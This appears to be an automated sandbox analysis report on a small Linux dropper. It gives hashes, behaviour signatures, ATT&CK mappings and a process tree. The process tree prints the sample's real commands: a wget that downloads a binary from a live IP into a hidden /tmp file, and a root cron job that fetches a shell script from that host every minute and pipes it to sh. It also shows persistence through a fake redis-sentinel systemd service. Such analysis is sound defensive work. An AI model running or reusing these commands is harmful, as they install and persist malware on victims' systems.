Analysis
- max time kernel
144s - max time network
140s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
10/08/2026, 10:26
Static task
static1
Behavioral task
behavioral1
Sample
ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
Resource
debian9-mipsel-20260513-en
General
- Target ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
- Size 3KB
- Sample260810-mgpd1afe39
- SHA256 ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
- MD5 9ac8dddb9148059a811fc1d1d49bd17f
- SHA1 b0c8b542d89d66a3282f801d5783e4df0550a448
- SHA512 1b473eed685d26db95dca22d56d6b9aa12d2558be9ed542c8f68d033d45494217d9f0c56a6dfbcd585534bfd04643ece420b5dd6ab16ae40e26e196e6bb646b2
- TLSH T1A88153D7B997EA3206CAC43C9FD26656E3461C4309A3A484744C7E327FBA014FA70F1A
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 681 chmod - Deletes itself 1 IoCs
pid Process 686 .kworkerd-blkcg - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/.kworkerd-blkcg 682 ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog .kworkerd-blkcg File opened for modification /dev/misc/watchdog .kworkerd-blkcg - Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/root .kworkerd-blkcg File opened for modification /var/spool/cron/crontabs/tmp.VZUkXu crontab - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp .kworkerd-blkcg - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/redis-sentinel.service .kworkerd-blkcg - Reads MAC address of network interface 2 TTPs 1 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
description ioc Process File opened for reading /sys/class/net/eth0/address .kworkerd-blkcg -
resource yara_rule behavioral2/files/fstream-1.dat upx - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself redis-server redis-sentinel redis-cli rdb-check aof-rewrite 686 .kworkerd-blkcg - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo .kworkerd-blkcg - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp .kworkerd-blkcg - Command and Scripting Interpreter: Unix Shell 1 TTPs 3 IoCs
Execute scripts via Unix Shell.
pid Process 688 sh 702 sh 721 sh - Enumerates kernel/hardware configuration 1 TTPs 3 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/class/net .kworkerd-blkcg -
description ioc Process File opened for reading /proc/641/cmdline .kworkerd-blkcg File opened for reading /proc/1/environ systemctl File opened for reading /proc/43/stat .kworkerd-blkcg File opened for reading /proc/98/stat .kworkerd-blkcg File opened for reading /proc/137/stat .kworkerd-blkcg File opened for reading /proc/5/stat .kworkerd-blkcg File opened for reading /proc/136/stat .kworkerd-blkcg File opened for reading /proc/290/stat .kworkerd-blkcg File opened for reading /proc/27/cmdline .kworkerd-blkcg File opened for reading /proc/107/cmdline .kworkerd-blkcg File opened for reading /proc/25/stat .kworkerd-blkcg File opened for reading /proc/316/stat .kworkerd-blkcg File opened for reading /proc/10/stat .kworkerd-blkcg File opened for reading /proc/171/stat .kworkerd-blkcg File opened for reading /proc/801/stat .kworkerd-blkcg File opened for reading /proc/3/stat .kworkerd-blkcg File opened for reading /proc/12/stat .kworkerd-blkcg File opened for reading /proc/29/stat .kworkerd-blkcg File opened for reading /proc/567/stat .kworkerd-blkcg File opened for reading /proc/6/cmdline .kworkerd-blkcg File opened for reading /proc/22/cmdline .kworkerd-blkcg File opened for reading /proc/109/cmdline .kworkerd-blkcg File opened for reading /proc/642/cmdline .kworkerd-blkcg File opened for reading /proc/4/stat .kworkerd-blkcg File opened for reading /proc/5/cmdline .kworkerd-blkcg File opened for reading /proc/11/cmdline .kworkerd-blkcg File opened for reading /proc/141/cmdline .kworkerd-blkcg File opened for reading /proc/9/stat .kworkerd-blkcg File opened for reading /proc/224/stat .kworkerd-blkcg File opened for reading /proc/599/stat .kworkerd-blkcg File opened for reading /proc/4/cmdline .kworkerd-blkcg File opened for reading /proc/12/cmdline .kworkerd-blkcg File opened for reading /proc/21/cmdline .kworkerd-blkcg File opened for reading /proc/171/cmdline .kworkerd-blkcg File opened for reading /proc/323/cmdline .kworkerd-blkcg File opened for reading /proc/22/stat .kworkerd-blkcg File opened for reading /proc/28/stat .kworkerd-blkcg File opened for reading /proc/stat .kworkerd-blkcg File opened for reading /proc/17/cmdline .kworkerd-blkcg File opened for reading /proc/288/stat .kworkerd-blkcg File opened for reading /proc/300/stat .kworkerd-blkcg File opened for reading /proc/663/stat .kworkerd-blkcg File opened for reading /proc/41/cmdline .kworkerd-blkcg File opened for reading /proc/567/cmdline .kworkerd-blkcg File opened for reading /proc/13/stat .kworkerd-blkcg File opened for reading /proc/21/stat .kworkerd-blkcg File opened for reading /proc/837/cmdline .kworkerd-blkcg File opened for reading /proc/43/cmdline .kworkerd-blkcg File opened for reading /proc/636/cmdline .kworkerd-blkcg File opened for reading /proc/643/cmdline .kworkerd-blkcg File opened for reading /proc/filesystems crontab File opened for reading /proc/2/cmdline .kworkerd-blkcg File opened for reading /proc/288/cmdline .kworkerd-blkcg File opened for reading /proc/578/cmdline .kworkerd-blkcg File opened for reading /proc/813/cmdline .kworkerd-blkcg File opened for reading /proc/1/stat .kworkerd-blkcg File opened for reading /proc/29/cmdline .kworkerd-blkcg File opened for reading /proc/109/stat .kworkerd-blkcg File opened for reading /proc/321/stat .kworkerd-blkcg File opened for reading /proc/575/stat .kworkerd-blkcg File opened for reading /proc/76/stat .kworkerd-blkcg File opened for reading /proc/18/cmdline .kworkerd-blkcg File opened for reading /proc/161/cmdline .kworkerd-blkcg File opened for reading /proc/cmdline systemctl - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.kworkerd-blkcg wget File opened for modification /tmp/.redis-server.pid .kworkerd-blkcg
Processes
-
/tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d/tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d1⤵
- Executes dropped EXE
PID:644 -
/bin/unameuname -m2⤵PID:649
-
-
/usr/bin/trtr "[:upper:]" "[:lower:]"2⤵PID:650
-
-
/bin/rmrm -f /tmp/.kworkerd-blkcg2⤵PID:654
-
-
/bin/rmrm -f /tmp/.kworkerd-blkcg2⤵PID:657
-
-
/usr/bin/wgetwget -T 180 -t 1 -qO /tmp/.kworkerd-blkcg http://193.32.162.73/d/7c4124282c4ad7b6/bins/kworkerd-blkcg2⤵
- Writes file to tmp directory
PID:658
-
-
/bin/chmodchmod +x /tmp/.kworkerd-blkcg2⤵
- File and Directory Permissions Modification
PID:681
-
-
/usr/bin/basenamebasename /tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d2⤵PID:683
-
-
/tmp/.kworkerd-blkcg/tmp/.kworkerd-blkcg2⤵
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Modifies systemd
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads system network configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:682 -
/bin/sh/bin/sh -c "/bin/systemctl daemon-reload 2>/dev/null"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:688 -
/bin/systemctl/bin/systemctl daemon-reload4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:689
-
-
-
/bin/sh/bin/sh -c "/bin/systemctl enable redis-sentinel.service 2>/dev/null"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:702 -
/bin/systemctl/bin/systemctl enable redis-sentinel.service4⤵
- Enumerates kernel/hardware configuration
PID:703
-
-
-
/bin/shsh -c "/usr/bin/crontab -l 2>/dev/null"3⤵PID:716
-
/usr/bin/crontab/usr/bin/crontab -l4⤵
- Reads runtime system information
PID:718
-
-
-
/bin/sh/bin/sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c '{ kill -0 686 2>/dev/null || grep -q 0100007F:A71C /proc/net/tcp 2>/dev/null; } && exit 0; (wget -qO- http://193.32.162.73/d/7c4124282c4ad7b6/init.sh || curl -sL http://193.32.162.73/d/7c4124282c4ad7b6/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:721 -
/usr/bin/crontab/usr/bin/crontab -4⤵
- Creates/modifies Cron job
PID:722
-
-
-
-
/bin/rmrm -f /tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d2⤵PID:684
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Unix Shell
1Scheduled Task/Job
1Cron
1Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/systemd/system/redis-sentinel.service
- Size 382B
- SHA256 ed673486e84cd00e3d48bcc5ff357b1ff3133dc67d4ba1d8baa8334fbcfdfac6
- MD5 58f3633febedf1d2e4d0b7bfb41156c0
- SHA1 d751d6e8e8d031c839582d310153503518aa6ace
- SHA512 567359f442368f789a7cdb2ffd28e7b41c2e5c463f9213f3f55d52ae0597ff30147537f5dfe0d89f15616cecd8b7ab8f06f5bf91f2de260210e31b2a21193bf3
- TLSH T157E06153155100A7580F1D77EF939B841401DB4A4787763C9DD4388078D378BB024571
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.kworkerd-blkcg
- Size 112KB
- SHA256 77e0cb04a0db4819a594a880edd60c82156841cce112dc57b789e8a03412ab6a
- MD5 ac7a3960f2d39f8eaed3129afefe3183
- SHA1 e861814394f3643489d10b4d9bbf51786248e96e
- SHA512 529fa5c36e9feab7e2dbefd5de653921f903ca7be8a69f464547324bf7fc36941cb1637fc5bcc7f701d062672c425d5f2600daeb24ea24f63b7627bff9e59c58
- SSDEEP 3072:5NEuYWk0wQIN9xDgiiXWvOjYhUSt8FTJE+:5NEuYWk0wXNV8ZYiS2FTJ9
- TLSH T166B312693DC4ECEBD0929E39FC16DA559BC802E990C606213066DDE89FC469F3D7281F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/.redis-server.pid
- Size 3B
- SHA256 162753c27c8b32975a0edf5e89ab4ed8e2f06f02a182e0f181481cc050fdcc72
- MD5 109a0ca3bc27f3e96597370d5c8cf03d
- SHA1 cea6475abf50000b50fe25c592e079363689f59e
- SHA512 44d82c1126d9c6ffac4492cb355e666f0a76bb001d79728785cd7a9bd4670c8d6d738907d70360005a3d63c04c50537c82c385c9f37ca4a1a6552290055675db
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/root
- Size 261B
- SHA256 24da4c116b2a48b76108fa7d8cd93ecf27a17e05c7de525665efeb3e849fd44a
- MD5 b21ddbd2c6a05675236fb1e6dc7214e2
- SHA1 431352fc988808b089e28d3f8379f63e8e8a3e95
- SHA512 01d07bf8958b2ea21115a4abfa332d1314eaf971b944a67595987063477cc0ea29ef3a01ab921be2025c5b1ea6c9935797fd560e38faec1158206d9ec3df65e4
- TLSH T1D2D02B91D450C6607C0D087EB345AAE854437D5949C03B30994C5D4178CC347B088631
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.VZUkXu
- Size 436B
- SHA256 84a2e143f5c1ce23cfdab84739e154419c8431c574a0c94a39c2781f4aafc723
- MD5 43120a11e353d5c11fc34bbfc2351665
- SHA1 e8aab8efe74bd1eaecc589a62486329c93290ce2
- SHA512 1e9131f034302794026df13828641421522bfe1adf4115cd7cbb0d0fa453caa40284e5f5172d6db0b1725e76b3c42eedb65dbfa7d3f0986bfd7036f567aa63fc
- TLSH T153E05C65A91096307C0D0A6E775A66AC65436C6D84993F30E58C1C40658D38B7184A31
- MD5 SHA1 SHA512 TLSH